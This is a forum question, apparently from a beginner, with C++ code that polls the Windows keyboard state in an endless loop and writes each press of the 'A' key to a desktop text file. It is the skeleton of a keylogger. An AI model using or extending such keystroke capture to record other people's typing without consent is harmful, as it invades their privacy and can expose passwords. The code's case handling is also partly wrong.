k i got another question im using this code to print the key a in my file if the a key is pressed...
File... akfunc.h
Code:
#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
ofstream myfile;
void aKey()
{
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT) &&
GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "a";
myfile.flush();
}
else if (GetAsyncKeyState(VK_SHIFT) && GetAsyncKeyState(0x41) == -32767 ||
GetKeyState(VK_CAPITAL) && GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "A";
myfile.flush();
}
else if (GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "a";
myfile.flush();
}
}
File... main.cpp
Code:
#include "stdafx.h"
#include "akfunc.h"
#include "nskfunc.h"
#include "skfunc.h"
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
do
{
Sleep(10);
aKey();
}
while(1);
return 0;
}